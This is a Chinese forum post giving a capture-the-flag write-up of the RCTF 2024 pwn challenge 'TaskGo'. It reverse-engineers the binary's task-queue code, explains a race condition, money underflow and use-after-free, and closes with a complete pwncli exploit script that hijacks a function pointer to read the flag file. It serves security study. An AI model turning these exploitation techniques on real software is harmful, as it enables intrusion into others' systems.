首页
社区
课程
招聘
[原创]RCTF-2024-TaskGo
发表于: 2024-5-29 17:41 2455

[原创]RCTF-2024-TaskGo

2024-5-29 17:41
2455

Taskgo

很久不打 CTF 比赛了,感觉现在的 Pwn 对代码审计和 Fuzz ,信息收集(相关的CVE)和逆向能力要求越来越高了。

逆向分析

main

main函数利用PostTask提交CtfMain()任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
v13 = g_main_thread_task_runner;
base::Location::Current((base::Location *)v19, "main", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 217);
v14 = operator new(0x30uLL);
base::internal::BindStateBase::BindStateBase(
  v14,
  base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce,
  base::internal::BindState<false,true,false,void (*)(void)>::Destroy);
*(_QWORD *)(v14 + 32) = CtfMain;
base::TaskRunner::PostTask(v13, v19, v14);
base::Location::Current((base::Location *)v19, "main", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 219);
base::RunLoop::Run((base::RunLoop *)v21, (const base::Location *)v19);
base::RunLoop::~RunLoop((base::RunLoop *)v21);
base::Thread::Options::~Options((base::Thread::Options *)v26);
base::Thread::~Thread((base::Thread *)v20);

CtfMain

CtfMain函数内,利用GetName函数在g_player结构体内存储名字,保存在g_player[0]上,g_player[6]保存了money。然后通过PostTask跑MainStmt()函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 CtfMain(void)
{
  [...]
  GetName();
  v3 = (__int128 *)g_player;
  *((_DWORD *)v3 + 6) = 10000; // money
  [...]
  v7 = g_main_thread_task_runner;
  base::Location::Current((base::Location *)v10, "CtfMain", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 178);
  v8 = operator new(0x30uLL);
  base::internal::BindStateBase::BindStateBase(
    v8,
    base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce,
    base::internal::BindState<false,true,false,void (*)(void)>::Destroy);
  *(_QWORD *)(v8 + 0x20) = MainStmt;
  return base::TaskRunner::PostTask(v7, v10, v8);
}

MainStmt

这是程序的主菜单,功能如下:

(1) Rapidly advancing in the rapids.

子功能:1. Wooden Boat.; 2. Silver Boat.; 3. Golden Boat.

(2) Magic Castle.

子功能:1. Buy Magic Scroll.; 2. Drop Magic Scroll.; 3. Learning Magic Scroll.; 1337. Gods(需满足一定条件)

(3) Show Money.

(4) exit(0)

RapidAdvanceMenu

通过PostTask跑RapidAdvance::PickHandle()函数来进行选择处理,这里可以看出,v13+0x20是任务,v13+0x28保存了参数。将Repeat放进任务队列,Repeat又将MainStmt放进任务队列,这里存在潜在的条件竞争风险,因为money并不是原子数,可能存在竞争风险导致溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
v13 = operator new(0x30uLL);
base::internal::BindStateBase::BindStateBase(
  v13,
  base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(int),int &&>,base::internal::BindState<false,true,false,void (*)(int),int>,void ()(void)>::RunOnce,
  base::internal::BindState<false,true,false,void (*)(void)>::Destroy);
*(_QWORD *)(v13 + 0x20) = RapidAdvance::PickHandle;
*(_DWORD *)(v13 + 0x28) = v18[0];
base::TaskRunner::PostTask(v12, v17, v13);
v14 = g_main_thread_task_runner;
base::Location::Current(
  (base::Location *)v17,
  "RapidAdvanceMenu",
  "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc",
  110);
v15 = operator new(0x30uLL);
base::internal::BindStateBase::BindStateBase(
  v15,
  base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce,
  base::internal::BindState<false,true,false,void (*)(void)>::Destroy);
*(_QWORD *)(v15 + 32) = Repeat;
return base::TaskRunner::PostTask(v14, v17, v15);

接下来进入RapidAdvance::PickHandle()函数,输入 1 后,CheckMoney的返回值不等于 0 会调用 RapidAdvance::StartRA()。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall RapidAdvance::PickHandle(RapidAdvance *this)
{
  [...]
  v17[0] = result;
  if ( (_DWORD)this == 3 )
  {
    [...]
    v9 = (Player *)&g_player;
    v10 = 10000;
  }
  else
  {
    if ( (_DWORD)this != 2 )
    {
      if ( (_DWORD)this == 1 )
      {
        v5 = (Player *)&g_player;
        result = Player::CheckMoney(v5, 0x64u);
        if ( (_BYTE)result )
          return RapidAdvance::StartRA((RapidAdvance *)((char *)&qword_60 + 4));
      }
      return result;
    }
      [...]
      v9 = (Player *)&g_player;
      v10 = 1000;
    }
    else
    {
      v10 = 1000;
    }
  }
  result = Player::CheckMoney(v9, v10);
  if ( (_BYTE)result )
  {
    v14 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>(
            &std::__Cr::cout,
            "You finish the game. Hope your next visit.",
            42LL);
    [...]
    return std::__Cr::basic_ostream<char,std::__Cr::char_traits<char>>::flush(v14);
  }
  return result;
}

StartRA

通过PostTask启动FiveStar,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall RapidAdvance::StartRA(RapidAdvance *this)
{
  if ( (_DWORD)this == 100 )
  {
    v1 = g_main_thread_task_runner;
    base::Location::Current((base::Location *)v7, "StartRA", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 276);
    v2 = operator new(0x30uLL);
    base::internal::BindStateBase::BindStateBase(
      v2,
      base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce,
      base::internal::BindState<false,true,false,void (*)(void)>::Destroy);
    *(_QWORD *)(v2 + 0x20) = FiveStar;
    base::TaskRunner::PostTask(v1, v7, v2);
  }
  v3 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>(
         &std::__Cr::cout,
         "You finish the game. Hope your next visit.",
         42LL);
  return 0LL;
}

进入FiveStart后,调试时发现其进入的时 v12<0 这个分支,将src[0]的内容复制给v7+0x28指向的地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 FiveStar(void)
{
  *(_OWORD *)src = 0LL;
  v12 = 0LL;
  std::__Cr::operator>><char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>(&std::__Cr::cin, src);
  [...]
  v6 = g_io_thread_task_runner;
  base::Location::Current((base::Location *)v10, "FiveStar", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 270);
  v7 = operator new(0x40uLL);
  [...]
  *(_QWORD *)(v7 + 0x20) = NoteStar;
  v8 = (_OWORD *)(v7 + 0x28);                   // v8->v7+0x28
  if ( v12 < 0 )
  {
std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>::__init_copy_ctor_external(
      v8,
      src[0]);
  }
  else
  {
    *(_QWORD *)(v7 + 0x38) = v12;
    *v8 = *(_OWORD *)src;
  }
  result = base::TaskRunner::PostTask(v6, v10, v7);
  if ( v12 < 0 )
    return free(src[0]);
  return result;
}

CheckMoney

CheckMoney 调用了 sleep(1) 存在窗口时间,并且可以看到堆 money 的操作也并不是原子的,此时上面令起的Repeat任务早已开始运行了,我们此时可以利用这个等待时间购买其他东西,导致money整数溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
bool __fastcall Player::CheckMoney(Player *this, unsigned int cost)
{
  v2 = (__int128 *)g_player;
  v3 = *((_DWORD *)v2 + 6);
  if ( v3 >= cost )
  {
    [...]
    sleep(1u); // 窗口时间,并且此时未更改money值
    v8 = (__int128 *)g_player;
    [...]
    v12 = *((_DWORD *)v8 + 6) - cost;
    v13 = (__int128 *)g_player;
    *((_DWORD *)v13 + 6) = v12;
    v14 = (__int128 *)g_player;
    v15 = std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>::insert(
            v22,
            0LL,
            "\n[!] OK, now you money is : ",
            28LL);
    if ( v25 < 0 )
    {
      free(v24);
      if ( v23 >= 0 )
        return v3 >= cost;
    }
    else if ( v23 >= 0 )
    {
      return v3 >= cost;
    }
    free(v22[0]);
    return v3 >= cost;
  }
  v9 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>(
         &std::__Cr::cout,
         "Don't have e enough money.",
         26LL);
  return v3 >= cost;
}

MagicCastleMenu

调用 MagicCastle::SwitchHandle(v16) 处理选择,然后令起任务MainStmt。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 MagicCastleMenu(void)
{
  [...]
  LODWORD(v16) = -1431655766;
  std::__Cr::basic_istream<char,std::__Cr::char_traits<char>>::operator>>(&std::__Cr::cin, &v16);
  [...]
  MagicCastle::SwitchHandle((MagicCastle *)(unsigned int)v16);
  v12 = g_main_thread_task_runner;
  base::Location::Current((base::Location *)v15, "Repeat", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 134);
  v13 = operator new(0x30uLL);
  base::internal::BindStateBase::BindStateBase(
    v13,
    base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce,
    base::internal::BindState<false,true,false,void (*)(void)>::Destroy);
  *(_QWORD *)(v13 + 0x20) = MainStmt;
  return base::TaskRunner::PostTask(v12, v15, v13);
}

MagicCastle::SwitchHandle

可以看到一个隐藏后门 输入1337后,如果*(_BYTE *)(g_player + 0x1CLL) == 7会进入MagicHeld::Gods函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
void __fastcall MagicCastle::SwitchHandle(MagicCastle *this)
{
  if ( (int)this <= 2 )
  {
    if ( (_DWORD)this == 1 )
    {
      if ( g_magiccastle <= 1uLL )
      {
        this = (MagicCastle *)&g_magiccastle;
        if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_magiccastle) )
        {
          this = (MagicCastle *)&g_magiccastle;
          base::internal::CompleteLazyInstance(&g_magiccastle, &unk_145068, 0LL);
        }
      }
      MagicCastle::BuyMS(this);
    }
    else if ( (_DWORD)this == 2 )
    {
      if ( g_magiccastle <= 1uLL )
      {
        this = (MagicCastle *)&g_magiccastle;
        if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_magiccastle) )
        {
          this = (MagicCastle *)&g_magiccastle;
          base::internal::CompleteLazyInstance(&g_magiccastle, &unk_145068, 0LL);
        }
      }
      MagicCastle::DropMS(this);
    }
    return;
  }
  if ( (_DWORD)this != 3 )
  {
    if ( (_DWORD)this != 1337 )
      return;
    v1 = (__int128 *)g_player;
    [...]
    v18[0] = *((_BYTE *)v1 + 0x1C);
    [...]
    v6 = (__int128 *)g_player;
    if ( g_player <= 1uLL )
    {
      if ( !(unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_player) )
      {
        [...]
        if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_player) )
        {
          [...]
LABEL_31:
          if ( *((_BYTE *)v7 + 0x1C) == 7 )
          {
LABEL_32:   // 根据提示来看,这里也存在条件竞争。
            v8 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>(
                   &std::__Cr::cout,
                   "\x1B[31m [!] The system is currently recording you name, Please wait 5s... \x1B[0m",
                   76LL);
            v11 = (void (__fastcall ***)(_QWORD, char *, _QWORD *, __int64))g_io_thread_task_runner;
            [...]
            v12 = (__int128 *)g_player;
            [...]
            v16 = *((_QWORD *)v12 + 4); // magic_cast
            [...]
            v17 = (_QWORD *)operator new(0x38uLL);
            [...]
            v17[4] = MagicHeld::Gods;
            v17[5] = 0LL;
            v17[6] = v16;
            (**v11)(v11, v18, v17, 3000000LL);
            return;
          }
          goto LABEL_41;
        }
        if ( *(_BYTE *)(g_player + 0x1CLL) == 7 )
          goto LABEL_32; // 如果条件成立进入调用Gods
LABEL_41:
        v13 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>(
                &std::__Cr::cout,
                "You are not qualified!",
                22LL);
        goto LABEL_42;
      }
    }
[...]
LABEL_19:
  if ( g_magiccastle <= 1uLL )
  {
    this = (MagicCastle *)&g_magiccastle;
    if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_magiccastle) )
    {
      this = (MagicCastle *)&g_magiccastle;
      base::internal::CompleteLazyInstance(&g_magiccastle, &unk_145068, 0LL);
    }
  }
  MagicCastle::LearningMS(this);
}

MagicHeld::Gods

根据上面的参数传递来看,参数this = v17[6] = v16 = *((_QWORD *)v12 + 4); // magic_cast;,根据提示,这里也存在条件竞争。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall MagicHeld::Gods(const void **this)
{
  printf("%p\n", &system);
  printf("%p\n", this[5]);
  v1 = (__int64 (__fastcall *)(__int128 *))this[5];
  v2 = (__int128 *)g_player;
  [...]
  if ( *((char *)v2 + 0x17) >= 0 )
  {
LABEL_5:
    v5 = *((_QWORD *)v2 + 2);
    dest = *v2;
    goto LABEL_8;
  }
LABEL_7:
  std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>::__init_copy_ctor_external(
    &dest,
    *(void **)v2);
LABEL_8:
  result = v1(&dest);
  if ( v5 < 0 )
    return free(dest);
  return result;
}

MagicCastle::BuyMS(this)

有三个选项,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
__int64 __fastcall MagicCastle::BuyMS(MagicCastle *this)
{
  v21 = -1431655766;
  v1 = (__int128 *)g_player;
  [...]
  if ( *((_QWORD *)v1 + 4) )
  {
LABEL_5:
    v2 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>(
           &std::__Cr::cout,
           "You already possess a magic, hurry up and learn it.",
           51LL);
    [...]
    return std::__Cr::basic_ostream<char,std::__Cr::char_traits<char>>::flush(v2);
  }
  std::__Cr::basic_istream<char,std::__Cr::char_traits<char>>::operator>>(&std::__Cr::cin, &v21);
  switch ( v21 )
  {
    case 3u:
      [...]
      result = Player::CheckMoney(v18, 0x1869Fu);
      if ( (_BYTE)result )
      {
        v19 = (__int128 *)g_player;
        [...]
        result = operator new(0x30uLL);
        BYTE7(v22[1]) = 21;
        if ( v22 > (_OWORD *)"Magic Scroll of Stone" || (char *)&v22[1] + 5 <= "Magic Scroll of Stone" )
        {
          strcpy((char *)v22, "Magic Scroll of Stone");
          *(_QWORD *)result = off_124FF0;
          *(_QWORD *)(result + 0x28) = Log;
          *(_OWORD *)(result + 8) = v22[0];
          *(_QWORD *)(result + 0x18) = *(_QWORD *)&v22[1];
          *(_BYTE *)(result + 0x20) = 4;
          goto LABEL_44;
        }
      }
      break;
    case 2u:
      result = Player::CheckMoney(v18, 0x2710u);
      if ( (_BYTE)result )
      {
        v19 = (__int128 *)g_player;
        result = operator new(0x30uLL);
        BYTE7(v22[1]) = 21;
        if ( v22 > (_OWORD *)"Magic Scroll of Water" || (char *)&v22[1] + 5 <= "Magic Scroll of Water" )
        {
          strcpy((char *)v22, "Magic Scroll of Water");
          *(_QWORD *)result = off_124FF0;
          *(_QWORD *)(result + 0x28) = Log;
          *(_OWORD *)(result + 8) = v22[0];
          *(_QWORD *)(result + 0x18) = *(_QWORD *)&v22[1];
          *(_BYTE *)(result + 0x20) = 2;
          goto LABEL_44;
        }
      }
      break;
    case 1u:
      result = Player::CheckMoney(v18, 0x2710u);
      if ( (_BYTE)result )
      {
        v19 = (__int128 *)g_player;
        result = operator new(0x30uLL);
        BYTE7(v22[1]) = 21;
        if ( v22 > (_OWORD *)"Magic Scroll of Flame" || (char *)&v22[1] + 5 <= "Magic Scroll of Flame" )
        {
          strcpy((char *)v22, "Magic Scroll of Flame");
          *(_QWORD *)result = off_124FF0;
          *(_QWORD *)(result + 0x28) = Log;
          *(_OWORD *)(result + 8) = v22[0];
          *(_QWORD *)(result + 0x18) = *(_QWORD *)&v22[1];
          *(_BYTE *)(result + 0x20) = 1;
LABEL_44:
          v20 = *((_QWORD *)v19 + 4);
          *((_QWORD *)v19 + 4) = result;
          if ( v20 )
            return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v20 + 8LL))(v20);
          return result;
        }
        goto LABEL_46;
      }
      break;
  }
  return result;
}

MagicCastle::LearningMS(this)

这里发现可以改变g_player+0x1c的值,根据magic_cast的0x20的值做与运算,而我们正好可以利用 1, 2, 4 将其改为7,从而进入Gods函数,进行条件竞争的利用。

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall MagicCastle::LearningMS(MagicCastle *this)
{
  v1 = (__int128 *)g_player;
  v2 = (__int128 *)g_player;
  [...]
  // 调试发现其为 MagicHeld::GetTalent(),取出*((unsigned __int8 *)this + 0x20);
  result = (*(__int64 (__fastcall **)(_QWORD))(**((_QWORD **)v2 + 4) + 0x18LL))(*((_QWORD *)v2 + 4));
  *((_BYTE *)v1 + 0x1C) |= result;
  return result;
}

MagicCastle::DropMS

这里将0x30大小的magic_cast释放了,而在Gods函数里面我们会申请一个0x40大小的堆块,可以尝试利用条件竞争修改已经释放的Cast,将其保存的Log函数为BackDoor函数(题目给的一个用于读取文件的函数)或者system函数地址。Gods函数调用了v1(&g_player),如果名字为flag或cat flag,那麽就调用了BackDoor("flag")或者system("cat flag")。

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall MagicCastle::DropMS(MagicCastle *this)
{
  v8[0] = v1;
  [...]
  v6 = (__int128 *)g_player;
  v7 = *((_QWORD *)v6 + 4);
  *((_QWORD *)v6 + 4) = 0LL;
  if ( v7 )
    // 调试发现其为 MagicHeld::~MagicHeld()
    return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v7 + 8LL))(v7);
  return result;
}

但在调试中发现,Gods中申请的堆块与magic_cast并不是同一堆块且相隔很远,cyclic() 测距时,偏移为0x28,并且在cin结束后就已经读入到释放掉的magic_cast中原来Log的位置了,可能go在cin变长读取时在堆上申请了缓冲区。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwncli import *
 
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './ctf'
context.log_level = 'debug'
 
gift.io = process('./ctf')
# gift.io = remote('127.0.0.1', 13337)
gift.elf = ELF('./ctf')
 
io: tube = gift.io
elf: ELF = gift.elf
 
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
 
def debug(gdbscript="", stop=False):
    if isinstance(io, process):
        gdb.attach(io, gdbscript=gdbscript)
        if stop:
            pause()
# 1. Rapidly advancing in the rapids.
# 2. Magic Castle.
# 3. Show Money.
# 4. Quit.
# >>
 
def cmd(i):
    sla(b">> ",str(i).encode())
 
def wooden():
    cmd(1)
    cmd(1)
 
def silver():
    cmd(1)
    cmd(2)
 
def golden():
    cmd(1)
    cmd(3)
 
def buyMs(idx):
    cmd(2)
    cmd(1)
    cmd(idx)
 
def dropMs():
    cmd(2)
    cmd(2)
 
def learningMs():
    cmd(2)
    cmd(3)
 
def god():
    cmd(2)
    cmd(1337)
 
def show():
    cmd(3)
 
def get_gods():
    global backdoor
    golden()
 
    buyMs(1)
    learningMs()
    dropMs()
 
    buyMs(2)
    learningMs()
    dropMs()
 
    buyMs(3)
    learningMs()
 
    show()
 
    god()
    ru(b"0x")
    ru(b"0x")
    # 0xBA0-0x950
    backdoor = int(r(12),16)+0x250
    success("backdoor = "+hex(backdoor))
 
    sleep(1)
 
def get_flag():
    sl("2")
    cmd(1337)
    dropMs()
 
    wooden()
    sla(b"visit.",b"5")
 
    sla(b"Comments: ", b'a'*0x28 + p64(backdoor))
 
 
sla(b'name: ', b'./flag')
 
get_Gods()
get_flag()
 
ia()

[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//